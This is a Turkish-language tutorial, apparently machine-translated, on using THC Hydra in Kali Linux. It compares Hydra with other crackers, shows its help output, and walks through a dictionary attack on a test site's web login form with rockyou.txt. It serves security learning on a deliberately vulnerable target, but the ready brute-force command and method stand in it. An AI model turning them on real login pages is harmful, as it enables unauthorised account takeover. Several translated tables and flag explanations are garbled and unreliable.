Kali Linux'ta Hydra ile Crack Web Tabanlı Giriş Sayfası

Crack Web Based Login Page With Hydra Kali Linux



Parola, teknik olarak, kaynakların kimliğini doğrulamak veya kaynaklara erişim sağlamak için kullanılan gizli karakter dizisi olarak tanımlanır. Gizli tutulmalı ve bu kaynaklara erişmesine izin verilmeyen başkalarından saklanmalıdır. Şifreler, bilgisayarların ilk günlerinden beri bilgisayarlarda kullanılmaktadır. İlk paylaşım sistemlerinden biri olan 1961 yılında tanıtılmıştır. Kullanıcı şifresi isteyen bir giriş komutuna sahipti. ŞİFRE yazıldıktan sonra sistem mümkünse yazdırma mekanizmasını kapatır, böylece kullanıcı şifresini gizlilik içinde yazabilir.

Bir parolanın gücü, uzunluk, karmaşıklık ve tahmin edilemezliğin bir işlevidir. Tahmin etmeye veya kırmaya direnmedeki etkinliğini ölçer. Zayıf şifreler ise kişisel/kurumsal e-postalara, finansal bilgiler, işletme bilgileri, kredi kartları gibi hassas verilere tahmin etmek ve erişim sağlamak için gereken süreyi kısaltır.







Çeşitli saldırı şemalarının güçlü yönlerine karşılık gelen bir parolanın zayıf olmasının birçok yolu vardır. Bu tür kimlik bilgisi saldırılarının en popüleri kaba kuvvettir. uygulama programı veya hack aracı tarafından kullanılan şifre veya veri şifreleme gibi tahmin etme, şifrelenmiş verileri çözmeye çalışma gibi bir deneme yanılma yöntemidir.



Hydra, sayısız saldırı protokolünü destekleyen en hızlı ağ oturum açma kırıcısıdır. Çok hızlı ve esnektir ve yeni modüllerin eklenmesi kolaydır. Bu araç, araştırmacıların ve güvenlik danışmanlarının bir sisteme uzaktan yetkisiz erişim elde etmenin ne kadar kolay olacağını göstermelerini mümkün kılar. Hydra, van Hauser tarafından yazılmıştır ve ayrıca David Maciejak tarafından desteklenmektedir. En son güncellemede hidra geliştirmesi, https://github.com/vanhauser-thc/thc-hydra adresindeki genel github deposuna taşındı.



Hydra, Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX,QNX/Blackberry üzerinde derlemek için test edildi ve özel bir OpenSSL lisans genişletmesiyle GPLv3 altında kullanıma sunuldu.





THC Hydra şu protokolleri destekler: Cisco AAA, Cisco auth, Cisco etkinleştirme, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 ve v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC ve XMPP.

HYDRA'NIN DİĞER ÇATLAMA TAKIMLARI İLE KARŞILAŞTIRILMASI

Hydra'nın yanında çok sayıda oturum açma kırma aracı da vardır, ancak hiçbiri hydra'nın yaptığı gibi çok sayıda protokol ve paralelleştirilmiş oturum açma kırma desteğini desteklemez. Aşağıdaki tablolar özelliklerin, hizmetlerin ve medusa ve ncrack ile hız karşılaştırmasının sonucunu göstermektedir.



Özellikleri

Özellik hidra Deniz anası ncrack
Lisans AGPLv3 GPLv2 GPLv2 + Nmap terimleri
IPv6 Desteği Evet Numara Numara
Grafik Kullanıcı Arayüzü Evet Evet Numara
Uluslararasılaştırılmış destek (RFC 4013) Evet Numara Numara
HTTP proxy desteği Evet Evet Numara
SOCKS proxy desteği Evet Numara Numara
Desteklenen protokoller 51 22 7

Hizmetler

Crack Web Tabanlı Giriş Sayfası

Hizmet Detaylar hidra Deniz anası ncrack
ADAM-6500 Evet Numara Numara
AFP Evet Evet Numara
yıldız işareti Evet Numara Numara
Cisco Şifresi Evet Numara Numara
Cisco Etkinleştir Evet Numara Numara
özgeçmiş Evet Evet Numara
ateş kuşu Evet Numara Numara
FTP Evet Evet Evet
SSL desteği AUTH TLS ve SSL üzerinden FTP AUTH TLS ve SSL üzerinden FTP Numara
HTTP Yöntem(ler) AL, BAŞLA, YAYINLA ELDE ETMEK ELDE ETMEK
Temel Yetkilendirme Evet Evet Evet
HTTP Formu Yöntem(ler) AL, YAYINLA AL, YAYINLA Numara
SSL desteği HTTPS HTTPS Numara
HTTP Proxy'si Temel Yetkilendirme Evet Numara Numara
DIGEST-MD5 Yetkilendirme Evet Numara Numara
NTLM Yetkilendirmesi Evet Numara Numara
SSL desteği HTTPS Numara Numara
HTTP PROXY URL Numaralandırma Evet Numara Numara
ICQ v5 Evet
1
Numara Numara
IMAP GİRİŞ desteği Evet Evet Numara
AUTH GİRİŞ desteği Evet Numara Numara
AUTH PLAIN desteği Evet Evet Numara
AUTH CRAM-MD5 desteği Evet Numara Numara
AUTH CRAM-SHA1 desteği Evet Numara Numara
AUTH CRAM-SHA256 desteği Evet Numara Numara
AUTH DIGEST-MD5 desteği Evet Numara Numara
AUTH NTLM desteği Evet Evet Numara
AUTH SCRAM-SHA1 desteği Evet Numara Numara
SSL desteği IMAPS & BAŞLANGIÇLAR IMAPS & BAŞLANGIÇLAR Numara
IRC Genel sunucu şifresi Evet Numara Numara
OPER modu şifresi Evet Numara Numara
LDAP v2, Basit destek Evet Numara Numara
v3, Basit destek Evet Numara Numara
v3, AUTH CRAM-MD5 desteği Evet Numara Numara
AUTH DIGEST-MD5 desteği Evet
AUTH NTLM desteği Evet Evet
AUTH SCRAM-SHA1 desteği Evet
SSL desteği IMAPS & BAŞLANGIÇLAR IMAPS & BAŞLANGIÇLAR
IRC Genel sunucu şifresi Evet
OPER modu şifresi Evet
LDAP v2, Basit destek Evet
v3, Basit destek Evet
v3, AUTH CRAM-MD5 desteği Evet
v3, AUTH DIGEST-MD5 desteği Evet
MS-SQL Evet Evet
MySQL v3.x Evet Evet
v4.x Evet Evet
v5.x Evet Evet
NCP Evet Evet
NNTP Kullanıcı desteği Evet Evet
AUTH GİRİŞ desteği Evet
AUTH PLAIN desteği Evet
AUTH CRAM-MD5 desteği Evet
AUTH DIGEST-MD5 desteği Evet
AUTH NTLM desteği Evet
SSL desteği SSL üzerinden STARTTLS ve NNTP
kehanet Veri tabanı Evet Evet
TNS Dinleyici Evet
SID Numaralandırma Evet
PC-NFS Evet
pcAnywhere Yerel Kimlik Doğrulama Evet Evet
İşletim Sistemi Tabanlı Kimlik Doğrulama (MS) Evet
POP3 Kullanıcı desteği Evet Evet Evet
APOP desteği Evet
AUTH GİRİŞ desteği Evet Evet
AUTH PLAIN desteği Evet Evet
AUTH CRAM-MD5 desteği Evet
AUTH CRAM-SHA1 desteği Evet
AUTH CRAM-SHA256 desteği Evet
AUTH DIGEST-MD5 desteği Evet
AUTH NTLM desteği Evet Evet
SSL Desteği POP3'LER & BAŞLANGIÇLAR POP3'LER & BAŞLANGIÇLAR POP3'ler
PostgreSQL Evet Evet
yıldız işareti Evet
RDP Windows İş İstasyonu Evet Evet Evet
Windows Server Evet Evet
Etki Alanı Yetkilendirmesi Evet Evet
REDIS Evet Numara
REEXEC Evet Evet
GİRİŞ Evet Evet
RPCAP Evet Numara
RSH Evet Evet
RTSP Evet Numara
SAP R / 3 Evet
Siemens S7-300 Evet
Yudumlamak Evet
SSL desteği SSL üzerinden SIP
KOBİ NetBIOS Modu Evet Evet Numara
W2K Yerel Modu Evet Evet Evet
karma modu Evet Evet Numara
Metin Yetkilendirmesini Temizle Evet Evet
LMv1 Yetkilendirme Evet Evet Evet
LMv2 Yetkilendirme Evet Evet Evet
NTLMv1 Yetkilendirme Evet Evet Evet
NTLMv2 Yetkilendirme Evet Evet Evet
SMTP AUTH GİRİŞ desteği Evet Evet
AUTH PLAIN desteği Evet Evet
AUTH CRAM-MD5 desteği Evet
AUTH DIGEST-MD5 desteği Evet
AUTH NTLM desteği Evet Evet
SSL desteği SMTPS & BAŞLANGIÇLAR SMTPS & BAŞLANGIÇLAR
SMTP Kullanıcı Numarası VRFY cmd'si Evet Evet
EXPN cmd'si Evet Evet
RCPT'DEN cmd'ye Evet Evet
SNMP v1 Evet Evet
v2c Evet Evet
v3 (Yalnızca MD5/SHA1 yetkilendirmesi)
ÇORAP v5, Şifre Doğrulama Evet
SSH v1 Evet
v2 Evet Evet Evet
SSH Anahtarları v1, v2 Evet
Yıkım (SVN) Evet Evet
Takım konuşması TS2 Evet
telnet Evet Evet Evet
XMPP AUTH GİRİŞ desteği Evet
AUTH PLAIN desteği Evet
AUTH CRAM-MD5 desteği Evet
AUTH DIGEST-MD5 desteği Evet
AUTH SCRAM-SHA1 desteği Evet
VMware Yetkilendirme Arka Plan Programı v1.00 / v1.10 Evet Evet
SSL desteği Evet Evet
VNC RFB 3.x şifre desteği Evet Evet
RFB 3.x kullanıcı+şifre desteği (Yalnızca UltraVNC)
RFB 4.x şifre desteği Evet Evet
RFB 4.x kullanıcı+şifre desteği (Yalnızca UltraVNC)

Hız Karşılaştırması

Hız (s cinsinden) hidra Deniz anası ncrack
1 Görev / FTP modülü 11.93 12.97 18.01
4 Görev / FTP modülü 4.20 5.24 9.01
16 Görev / FTP modülü 2.44 2.71 12.01
1 Görev / SSH v2 modülü 32.56 33.84 45.02
4 Görev / SSH v2 modülü 10.95 Bozuldu Eksik
16 Görev / SSH v2 modülü 5.14 Bozuldu Eksik

Bu, hidraya kısa ve basit bir girişti. Şimdi kuruluma geçelim.

HYDRA'NIN KURULMASI

Hydra, kali linux'a önceden yüklenmiştir, ancak farklı bir işletim sisteminiz varsa, onu derleyip sisteminize kurabilirsiniz. Şu anda, hidra'nın farklı platformlardaki desteği:

  • Tüm UNIX platformları (Linux, *bsd, Solaris, vb.)
  • MacOS (temelde bir BSD klonu)
  • Cygwin'li Windows (hem IPv4 hem de IPv6)
  • Linux, MacOS veya QNX tabanlı mobil sistemler (ör. Android, iPhone, Blackberry 10, Zaurus, iPaq)

Hydra'yı indirmek, yapılandırmak, derlemek ve kurmak için terminale yazmanız yeterlidir:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Ubuntu/Debian'ınız varsa, bazı bağımlılık kitaplıklarına ihtiyacınız olacak:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

Bu kitaplıkları havuzunuzda bulamadıysanız, bunları manuel olarak indirip yüklemeniz gerekir.

HİDRA NASIL KULLANILIR

Tebrikler, artık sisteminize hidra kurmayı başardınız. Aslında Hydra, GUI-gtk ve benim en sevdiğim CLI sürümü olmak üzere iki çeşitle birlikte gelir. ve ayrıca hydra'nın ayrıca hidra sihirbazı olarak adlandırılan CLI kılavuzlu versiyonu da vardır. Tüm komutları veya argümanları manuel olarak terminale yazmak yerine adım adım yönlendirileceksiniz. Hydra'yı çalıştırmak için terminal türünüzden:

CLI için:

hydra

CLI sihirbazı için:

hydra-wizard

GUI için:

xhydra

'Hydra' yazdıktan sonra aşağıdaki gibi yardım komutları görüntülenecektir:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

Hydra ile Bruteforce web tabanlı giriş

Hydra, daha önce bahsettiğim gibi bazı kaba kuvvetleme hizmetlerini destekler, bunlardan biri sosyal medya oturum açma formu, kullanıcı bankacılığı oturum açma formu, yönlendirici web tabanlı oturum açma vb. gibi web tabanlı oturum açma işlemlerini kaba kuvvet yapmak için kullanılır. Bu http[s]-get-form bu isteği ele alacak olan. Bu eğitimde size savunmasız web oturum açmalarını nasıl kaba kuvvet uygulayacağınızı göstereceğim. Hydra'yı ateşlemeden önce aşağıdaki gibi bazı gerekli argümanları bilmeliyiz:

  • Hedef : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • Kullanıcı adını gir : yönetici (emin değilseniz, bunu bruteforce)
  • Şifre listesi : Olası parolaları içeren sözlük dosyası listesinin konumu.
  • Form parametreleri : genel olarak, istek parametreleri formunu elde etmek için kurcalama verilerini veya proxy'yi kullanın. Ama burada iceweasel, firefox tabanlı, ağ geliştirici araç çubuğunu kullanıyorum.
  • Servis modülü : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Tarayıcı, iceweasel/firefox kullanarak posta parametrelerinin alınması

Firefox tarayıcınızda ' tuşlarına basın CTRL + ÜST KRKT + Q '. Ardından web giriş sayfasını açınhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, ağ geliştirici sekmesinde bazı metinlerin göründüğünü fark edeceksiniz. Bize hangi dosyaların aktarıldığını söyler. Henüz herhangi bir veri POST yapmadığımız için hepsinin GET yöntemine bakın.

Post-form parametrelerini elde etmek için, kullanıcı adı ve/veya parola formuna istediğinizi yazın. Ağ geliştirici sekmesinde yeni bir POST yöntemi göreceksiniz. Bu satıra çift tıklayın, Başlıklar sekmesinde sağ taraftaki Düzenle ve Yeniden Gönder düğmesine tıklayın. İstek Gövdesinde aşağıdaki gibi son satırı kopyalayın: tfUName = asu & tfUPass = raimu . NS tfUAdı ve tfUPas ihtiyacımız olan parametrelerdir. Aşağıda görüldüğü gibi:

Kali linux'un bir sürü kelime listesi vardır, uygun kelime listesini seçin veya sadece rockyou.txt yerini kullanın. /usr/share/kelime listeleri/ aşağıda görüldüğü gibi:

Pekala, şimdi ihtiyacımız olan tüm argümanları aldık ve hidrayı ateşlemeye hazırız. İşte komut kalıbı:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

Komutları parçalayalım:

  • NS : kullanıcı adı hesabını içeren bir kelimedir, bir dosyadaki olası kullanıcı adlarının listesine atıfta bulunmak için -L kullanın.
  • P : olası parolaların bir dosya listesidir, tahmin etmek yerine kelimenin tam anlamıyla tek kelimelik parolayı kullanmak için -p kullanın.
  • testapp.vunlwebapp.com : bir ana bilgisayar adı veya hedeftir
  • http-post-form : kullandığımız servis modülüdür
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^KULLANICI^&tfUPass=^PASS^:S=oturumu kapat = gerekli 3 parametre, sözdizimi:
    {page URL}:{Request post body form parametreleri}:S={Başarıyla oturum açtıktan sonra sayfada ne varsa bulun}
  • v = Ayrıntılı mod
  • V = oturum açmayı göster:her deneme için geçiş
  • F = Çift oturum açma:şifre bulunursa programı sonlandırın

Şimdi hydra bizim için şifreyi kırmaya çalışsın, sözlük saldırısı olduğu için zamana ihtiyacı var. Bir çift login:password hydra bulmayı başardığınızda, işi derhal sonlandıracak ve geçerli kimlik bilgilerini gösterecektir.

Hydra'nın yapabileceği çok şey var, çünkü bu eğitimde hydra kullanarak web tabanlı oturum açmayı nasıl bruteforce yapacağımızı öğrendik, sadece bir protokol öğreniyoruz, o da http-post-form protokolü. Hydra'yı ssh, ftp, telnet, VNC, proxy vb. gibi başka bir protokole karşı da kullanabiliriz.